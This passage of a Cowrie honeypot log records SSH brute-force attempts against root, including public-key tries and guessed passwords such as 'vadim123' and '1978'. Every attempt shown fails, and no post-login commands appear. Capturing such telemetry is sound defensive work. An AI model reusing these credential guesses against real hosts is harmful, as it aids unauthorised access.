{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.800111Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.822376Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:a9:cb:82:f1:29:4f:24:00:cf:f1:85:df:08:52:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf2ji3YQon81W10gjw28UpbG61YpjayzpEcZRVKK7hNnKSgmbeyzDb9o+aAbC7EyUBPo5UbY4DhOCwOMK3+oOhwSjXEJxYBCzXqk6fHJkhIPb1f7kX8LNtqoHootVZQEK4ptrWpmeNzLhT8cOCsno3LSHPsTjTCLSU+GjGaMYLGWJ3Jsw7KfG/+J4Vjn26tos1uKxPDDk4EMXA8TXUMenhFkLoEeYluX4Q9cra8Z+zo5aDLNCsy7rXXVgUQBiWUYCCv60ZVA8ga2KgUVQM7g/OX+JEmLrb4JyvNl62YAQa9O8Sal6Fc/BCIgqfkaIs5sHYsityzyam52ZG4ZduG0vB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:a9:cb:82:f1:29:4f:24:00:cf:f1:85:df:08:52:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.907557Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:a9:cb:82:f1:29:4f:24:00:cf:f1:85:df:08:52:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf2ji3YQon81W10gjw28UpbG61YpjayzpEcZRVKK7hNnKSgmbeyzDb9o+aAbC7EyUBPo5UbY4DhOCwOMK3+oOhwSjXEJxYBCzXqk6fHJkhIPb1f7kX8LNtqoHootVZQEK4ptrWpmeNzLhT8cOCsno3LSHPsTjTCLSU+GjGaMYLGWJ3Jsw7KfG/+J4Vjn26tos1uKxPDDk4EMXA8TXUMenhFkLoEeYluX4Q9cra8Z+zo5aDLNCsy7rXXVgUQBiWUYCCv60ZVA8ga2KgUVQM7g/OX+JEmLrb4JyvNl62YAQa9O8Sal6Fc/BCIgqfkaIs5sHYsityzyam52ZG4ZduG0vB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.911385Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:b8:ea:cc:03:f8:92:53:1e:8a:9a:54:68:0b:3e:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4gTFo8CkVhxim499Oo9mX5SuaKjOIvbr32WTj3NSRRu8p83/Bf/nMJBedZ1w3CQc6rn9j38W3P271cjo8DeRVITEM7cLkr/e4ZwtC3GsdiwECkyQUtTnZS9qeKyyLT5dAhSNMioAv88i1fpi58poa08at/gVyGV4A6/sMu7wUvXki5WiqG2izS50RBKu+KR0Y2NA1fXnsqBP9rHGicK2JOaf4Od7RHz7Rcbppwteo7o+Dvir027gbjkNSIR7SNjb5OLyntuCvuJFMjW8Gmc3iCngfPErs3nyYxRjcQi01hi1H3kSfg/pZ8Bop4aZBikZjc3BE0pxX4OlfqR+dzESj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:b8:ea:cc:03:f8:92:53:1e:8a:9a:54:68:0b:3e:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.937789Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:b8:ea:cc:03:f8:92:53:1e:8a:9a:54:68:0b:3e:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4gTFo8CkVhxim499Oo9mX5SuaKjOIvbr32WTj3NSRRu8p83/Bf/nMJBedZ1w3CQc6rn9j38W3P271cjo8DeRVITEM7cLkr/e4ZwtC3GsdiwECkyQUtTnZS9qeKyyLT5dAhSNMioAv88i1fpi58poa08at/gVyGV4A6/sMu7wUvXki5WiqG2izS50RBKu+KR0Y2NA1fXnsqBP9rHGicK2JOaf4Od7RHz7Rcbppwteo7o+Dvir027gbjkNSIR7SNjb5OLyntuCvuJFMjW8Gmc3iCngfPErs3nyYxRjcQi01hi1H3kSfg/pZ8Bop4aZBikZjc3BE0pxX4OlfqR+dzESj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.953245Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:a9:34:31:a8:58:c2:1d:59:4a:16:84:c6:22:94:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4vArn6GtHY987jC4Wl9WSG3l/n24JVSy69tMDfWZQNLTc/2ZyX5RNvR9+dD2QMT4DR8+7AzoJk9q8p1kfZTsXb0Juhw0oMY41J9wZlg6ajVNcKNAtK+hoh4fgtLG1+W7U/9BxplYzKu+XP8dN5bU6NAEiDudWLIHiDbgy7iuT1QOHHT19rTL/GIKZhKa0oi509iZKoeuBkPvZARc2vwcTzpyTkSMj6mp9JaNavODnY0RRsItLqDaYV+ft47cc77RwcOBxNT0XymqlREkYYq+cL7Idqm0o8VqWdoMr3iDB/rRTXPij1XYQJm7ckfX4oRWKB1StI2wl8muJy0MMoL7P3VPf3Bu4IHwbnu4XGHYrpKtW65lr94+57fN9oBnjQeTi/Iv6XXiI0WHu2skDzyDivgOuavanr9hk43Y973CVZUzHepMtwaFtTl68OdOPOne9JI+P6ge21Dv9qE+RbObjuzS2SP9JVot80SgYR6aVz5U9uLUzXKZvBBQHIgxCgYGEn3nyepFR245pi/7S9AV2cQGJh6N8+nlR9W+6QE094ggoSN/9WFrYkRA+H4IYA3rk4h+BafEYrddI3lbax5uXlFql3pBCsSHVO0pYlPyugnIWqoE+IJfw8jgJoWX7lCu6YlRv+x/EuVkC1zBKwv+Tnr0EZ8P9+u96Y31n3QOooQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:a9:34:31:a8:58:c2:1d:59:4a:16:84:c6:22:94:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.988384Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:a9:34:31:a8:58:c2:1d:59:4a:16:84:c6:22:94:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4vArn6GtHY987jC4Wl9WSG3l/n24JVSy69tMDfWZQNLTc/2ZyX5RNvR9+dD2QMT4DR8+7AzoJk9q8p1kfZTsXb0Juhw0oMY41J9wZlg6ajVNcKNAtK+hoh4fgtLG1+W7U/9BxplYzKu+XP8dN5bU6NAEiDudWLIHiDbgy7iuT1QOHHT19rTL/GIKZhKa0oi509iZKoeuBkPvZARc2vwcTzpyTkSMj6mp9JaNavODnY0RRsItLqDaYV+ft47cc77RwcOBxNT0XymqlREkYYq+cL7Idqm0o8VqWdoMr3iDB/rRTXPij1XYQJm7ckfX4oRWKB1StI2wl8muJy0MMoL7P3VPf3Bu4IHwbnu4XGHYrpKtW65lr94+57fN9oBnjQeTi/Iv6XXiI0WHu2skDzyDivgOuavanr9hk43Y973CVZUzHepMtwaFtTl68OdOPOne9JI+P6ge21Dv9qE+RbObjuzS2SP9JVot80SgYR6aVz5U9uLUzXKZvBBQHIgxCgYGEn3nyepFR245pi/7S9AV2cQGJh6N8+nlR9W+6QE094ggoSN/9WFrYkRA+H4IYA3rk4h+BafEYrddI3lbax5uXlFql3pBCsSHVO0pYlPyugnIWqoE+IJfw8jgJoWX7lCu6YlRv+x/EuVkC1zBKwv+Tnr0EZ8P9+u96Y31n3QOooQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.991984Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:af:f1:66:cc:ae:7b:48:ed:d6:e1:15:92:a2:c0:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrvSodX01MzeVWbkk4MdVNEMGDZaR4vI4HMAGJrOg3ofF0em3fENr7SMY+6OaGgeprbfjlMOA/TMcmRiZGitemBJ0DnweTIKvXFisguivFmNDWQfX6Kwf3tlDB2ARKzOWSzuNu4IZVCJrY0Qqvl0ov4mzEa1O9j6AsU/mm8RC12ae649/ioztFZ/kXpn+RAfFXGkAkPMbdMCnBgtEy3nlDW/M52LLQXj/6yyV4oxDfNLU3lG3w8ylbfxuoifkPpbNNuzA022y/td5oB6K8U+x/ELdqNVLRi2oAjcbFl2th7176BI5hwoo4kiRPsE3NphWiCjkmfqMN1RFm0ZPk68Nrtds7MZs+Tk3DhT/17wwJE2QFUgQDTi+0nFR75n3OABs0O+KKeSnj/h2Vz5CghSI+fDsEwrrxuzRWX4y14KyAVX1NOFgIMMwdvdMzwnll9oz0rygYxM0Zi2igTV2dpUckkSZWIC19v5efO9qSQGIvgIaiT54UDmMycaJbYoVAEA4neoXCxREqySq2XoxXweF4vfUyvc9MDYnLHpBXXlwdMMuHU1Rz7EeoE1h43dYzgTuCQBkrtLPX/RDWKijlWXgQ46fsZgX9OvXShwNUStWgK4gqSkiQGGrL8HR8YykDNHMIGsWFnx6sDv66Zl1Kc7m6Ew8dFxdRlnTyhiZrjtC8Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:af:f1:66:cc:ae:7b:48:ed:d6:e1:15:92:a2:c0:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:03.013102Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:af:f1:66:cc:ae:7b:48:ed:d6:e1:15:92:a2:c0:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrvSodX01MzeVWbkk4MdVNEMGDZaR4vI4HMAGJrOg3ofF0em3fENr7SMY+6OaGgeprbfjlMOA/TMcmRiZGitemBJ0DnweTIKvXFisguivFmNDWQfX6Kwf3tlDB2ARKzOWSzuNu4IZVCJrY0Qqvl0ov4mzEa1O9j6AsU/mm8RC12ae649/ioztFZ/kXpn+RAfFXGkAkPMbdMCnBgtEy3nlDW/M52LLQXj/6yyV4oxDfNLU3lG3w8ylbfxuoifkPpbNNuzA022y/td5oB6K8U+x/ELdqNVLRi2oAjcbFl2th7176BI5hwoo4kiRPsE3NphWiCjkmfqMN1RFm0ZPk68Nrtds7MZs+Tk3DhT/17wwJE2QFUgQDTi+0nFR75n3OABs0O+KKeSnj/h2Vz5CghSI+fDsEwrrxuzRWX4y14KyAVX1NOFgIMMwdvdMzwnll9oz0rygYxM0Zi2igTV2dpUckkSZWIC19v5efO9qSQGIvgIaiT54UDmMycaJbYoVAEA4neoXCxREqySq2XoxXweF4vfUyvc9MDYnLHpBXXlwdMMuHU1Rz7EeoE1h43dYzgTuCQBkrtLPX/RDWKijlWXgQ46fsZgX9OvXShwNUStWgK4gqSkiQGGrL8HR8YykDNHMIGsWFnx6sDv66Zl1Kc7m6Ew8dFxdRlnTyhiZrjtC8Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:03.025866Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:6b:d9:66:c7:5b:bb:36:f4:7c:2b:66:d3:13:7b:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIXmljwZAE/i0mTxoE4U9PqOUO4j7/LfcINgKj8lmZafsL5KFeBGXmP1soVxXUW8VSy2tv4BETXjjkq/YaARQ2ScJ7sALFzSwI6udLua2/Gd07xxlD61br2+IWtnSeHPVxhXhqfrktE4nKZWs5TKxd4wQ1/rXOaUc7ci4xHSj1jBwTQw+jSdeUFim5EiVVMi13hL5PvwuwbubQ/1tuUCK6pQ51A93zmnwn5W0bOvgCbrQ8iaxbyF8YUumcSi8kx1CMGtkXfYMYSDJyMEdt8qAhNYuyoJq08u+j57ZVXVNop8ET8V1eE5MFvEFkiUm/jbPPaxMZgTH4i8sHCBHCTQLZPrxZKulEWlgIIp+zdcQWa4XMie6pfShn4OEo5/5Bv8o9DHG4Fb2lJq+nzKOAIiaGuTHTOzFtpQjhurthbgoBqYGXNb8r4SdOfQhn9DQJj4Ocwxfe0OXxi7mZTYz+pHE9JhXY0KfTok8subhI6f+FG6ox/Yh9TmlIN9wH9ihMp1Xd8mm6P2HxuDs0jGj/tvi6CfkTMwe/5ODb8+TbPYG/hIPY4atlEDDYV9k0BPtjodjYc3iCLE/bSZgu8/sy89nqQOv0oW6LDYhK2HBfcfn+728vRWgvbjqpZydrYjPnsbkVAtwYAucE7z/5jKDLuE+OLIylgOBuBFdOjYwCI15ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:6b:d9:66:c7:5b:bb:36:f4:7c:2b:66:d3:13:7b:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:03.068409Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:6b:d9:66:c7:5b:bb:36:f4:7c:2b:66:d3:13:7b:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIXmljwZAE/i0mTxoE4U9PqOUO4j7/LfcINgKj8lmZafsL5KFeBGXmP1soVxXUW8VSy2tv4BETXjjkq/YaARQ2ScJ7sALFzSwI6udLua2/Gd07xxlD61br2+IWtnSeHPVxhXhqfrktE4nKZWs5TKxd4wQ1/rXOaUc7ci4xHSj1jBwTQw+jSdeUFim5EiVVMi13hL5PvwuwbubQ/1tuUCK6pQ51A93zmnwn5W0bOvgCbrQ8iaxbyF8YUumcSi8kx1CMGtkXfYMYSDJyMEdt8qAhNYuyoJq08u+j57ZVXVNop8ET8V1eE5MFvEFkiUm/jbPPaxMZgTH4i8sHCBHCTQLZPrxZKulEWlgIIp+zdcQWa4XMie6pfShn4OEo5/5Bv8o9DHG4Fb2lJq+nzKOAIiaGuTHTOzFtpQjhurthbgoBqYGXNb8r4SdOfQhn9DQJj4Ocwxfe0OXxi7mZTYz+pHE9JhXY0KfTok8subhI6f+FG6ox/Yh9TmlIN9wH9ihMp1Xd8mm6P2HxuDs0jGj/tvi6CfkTMwe/5ODb8+TbPYG/hIPY4atlEDDYV9k0BPtjodjYc3iCLE/bSZgu8/sy89nqQOv0oW6LDYhK2HBfcfn+728vRWgvbjqpZydrYjPnsbkVAtwYAucE7z/5jKDLuE+OLIylgOBuBFdOjYwCI15ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:03.072821Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:03.096993Z","src_ip":"51.79.99.235","session":"dbbf06427ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":38058,"dst_ip":"10.17.0.5","dst_port":22,"session":"869817ced4c5","protocol":"ssh","message":"New connection: 103.75.182.198:38058 (10.17.0.5:22) [session: 869817ced4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:13.089920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:13.095723Z","src_ip":"103.75.182.198","session":"869817ced4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:13.334793Z","src_ip":"103.75.182.198","session":"869817ced4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadim123","message":"login attempt [root/vadim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:14.053910Z","src_ip":"103.75.182.198","session":"869817ced4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:15.295337Z","src_ip":"103.75.182.198","session":"869817ced4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.674296617507935,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:15.952000Z","src_ip":"50.6.8.71","session":"0173938eb7b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":39932,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c1695f2dd6f","protocol":"ssh","message":"New connection: 103.75.183.219:39932 (10.17.0.5:22) [session: 6c1695f2dd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:17.931305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:17.938356Z","src_ip":"103.75.183.219","session":"6c1695f2dd6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:18.182995Z","src_ip":"103.75.183.219","session":"6c1695f2dd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1978","message":"login attempt [root/1978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:18.914356Z","src_ip":"103.75.183.219","session":"6c1695f2dd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.163620Z","src_ip":"103.75.183.219","session":"6c1695f2dd6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":62078,"dst_ip":"10.17.0.5","dst_port":22,"session":"af82a4386c6b","protocol":"ssh","message":"New connection: 62.210.189.225:62078 (10.17.0.5:22) [session: af82a4386c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.844422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:20.849637Z","src_ip":"62.210.189.225","session":"af82a4386c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"mess